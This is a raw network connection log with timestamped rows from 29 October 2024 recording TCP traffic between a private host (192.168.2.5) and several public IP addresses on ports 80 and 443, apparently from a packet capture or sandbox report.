Oct 29, 2024 02:46:39.422075033 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.422091961 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.422152996 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.422164917 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.422214031 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.427490950 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.427510977 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.427551031 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.427565098 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.427604914 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.428508997 CET	49878	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.428539991 CET	443	49878	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.452691078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452747107 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452753067 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.452800989 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452838898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452852011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.452873945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452887058 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.452912092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452922106 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.452949047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452960014 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.452986956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.452999115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.453031063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.453418016 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.453480959 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.453484058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.453530073 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.453636885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.453671932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.453706980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.453738928 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.453754902 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.453949928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.453979969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.454034090 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493117094 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493155003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493174076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493190050 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493223906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493233919 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493240118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493277073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493295908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493310928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493325949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493417978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493640900 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493670940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493691921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493715048 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493724108 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493778944 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493813992 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.493834972 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.493860960 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.539134026 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.539151907 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.539203882 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.539216995 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.539243937 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.539258957 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.569943905 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.569999933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570036888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570054054 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570069075 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570072889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570087910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570111036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570121050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570163965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570174932 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570221901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570333004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570384026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570419073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570444107 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570451975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570483923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570487976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570513010 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.570521116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.570585012 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.571124077 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.571160078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.571194887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.571211100 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.571242094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.572263956 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.572282076 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.572328091 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.572335005 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.572376013 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.575517893 CET	49876	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.575539112 CET	443	49876	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.578383923 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.578425884 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.578493118 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.578514099 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.578577995 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.578630924 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.585118055 CET	49879	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.585138083 CET	443	49879	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.609968901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610019922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610025883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610054970 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610064030 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610111952 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610136986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610183001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610187054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610229969 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610296011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610323906 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610368013 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610510111 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610559940 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610560894 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610594988 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610600948 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610629082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610636950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610663891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.610672951 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.610713005 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.612519979 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.612571955 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.612742901 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.612755060 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.612776995 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.612875938 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.614061117 CET	49875	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.614077091 CET	443	49875	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.656117916 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.656168938 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.656213045 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.656233072 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.656250000 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.656277895 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.670654058 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.675978899 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.675993919 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.676465034 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.676469088 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.686855078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.686908960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.686918974 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.686949015 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.686963081 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.686997890 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687006950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687036037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687041044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687079906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687186956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687228918 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687251091 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687300920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687344074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687344074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687351942 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687386990 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687396049 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687422991 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.687433958 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.687470913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.688067913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.688101053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.688123941 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.688133955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.688142061 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.688183069 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.701498985 CET	443	49890	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.701808929 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.701837063 CET	443	49890	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.702694893 CET	443	49890	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.702748060 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.703783035 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.703850031 CET	443	49890	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.704180002 CET	443	49889	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.704482079 CET	49889	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.704495907 CET	443	49889	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.704802036 CET	443	49889	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.705215931 CET	49889	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.705271959 CET	443	49889	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.710680008 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.710699081 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.710719109 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.710771084 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.710851908 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.710896969 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.711847067 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.711888075 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.711910009 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.712019920 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.712045908 CET	443	49867	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.712145090 CET	49867	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.717345953 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.718353987 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.718372107 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.719202995 CET	49884	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.719208956 CET	443	49884	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.720221043 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.720463991 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.720483065 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.720779896 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.721065044 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.721132040 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.721194983 CET	49885	443	192.168.2.5	13.107.246.57
Oct 29, 2024 02:46:39.722762108 CET	443	49888	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.723017931 CET	49888	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.723056078 CET	443	49888	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.724179983 CET	443	49888	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.724529028 CET	49888	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.724709034 CET	443	49888	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.727040052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727076054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727108955 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727135897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727145910 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727201939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727247953 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727267027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727298975 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727310896 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727339029 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727550030 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727598906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727607012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727619886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727653027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727657080 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727674961 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727688074 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.727696896 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.727766991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.728179932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.728240967 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.728244066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.728276968 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.728286028 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.728437901 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.734035015 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.734642029 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.734658957 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.735049009 CET	49883	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.735053062 CET	443	49883	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.746500015 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.747090101 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.747107983 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.747607946 CET	49886	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.747613907 CET	443	49886	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.757637978 CET	49889	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.757647038 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.757667065 CET	443	49890	23.221.22.200	192.168.2.5
Oct 29, 2024 02:46:39.762087107 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.762109995 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.762175083 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.762314081 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:39.762321949 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:39.763401031 CET	443	49885	13.107.246.57	192.168.2.5
Oct 29, 2024 02:46:39.773222923 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.773276091 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.773303032 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.773315907 CET	443	49874	13.91.96.185	192.168.2.5
Oct 29, 2024 02:46:39.773350000 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.773371935 CET	49874	443	192.168.2.5	13.91.96.185
Oct 29, 2024 02:46:39.773752928 CET	49888	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.782591105 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.782968044 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.783015013 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.783385992 CET	49887	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.783400059 CET	443	49887	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.803785086 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.803836107 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.803843975 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.803869963 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.803891897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.803910971 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804008961 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804044008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804074049 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804078102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804100990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804124117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804143906 CET	49890	443	192.168.2.5	23.221.22.200
Oct 29, 2024 02:46:39.804335117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804368973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804383993 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804403067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804414034 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804440022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804444075 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804478884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804807901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804836988 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804852962 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804876089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.804963112 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.804996014 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.805016994 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.805031061 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.805038929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.805114031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.810651064 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.810674906 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.810734034 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.810734987 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.810884953 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.810961008 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.810961008 CET	49882	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.810976982 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.810986042 CET	443	49882	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.816869974 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.816895008 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.817023039 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.817142010 CET	49893	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:39.817158937 CET	443	49893	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:39.844039917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844074965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844104052 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844115973 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844125986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844172001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844196081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844206095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844214916 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844239950 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844255924 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844285011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844451904 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844501972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:39.844521999 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:39.844535112 CET	80	49838	185.215.113.206	192.168.2.5
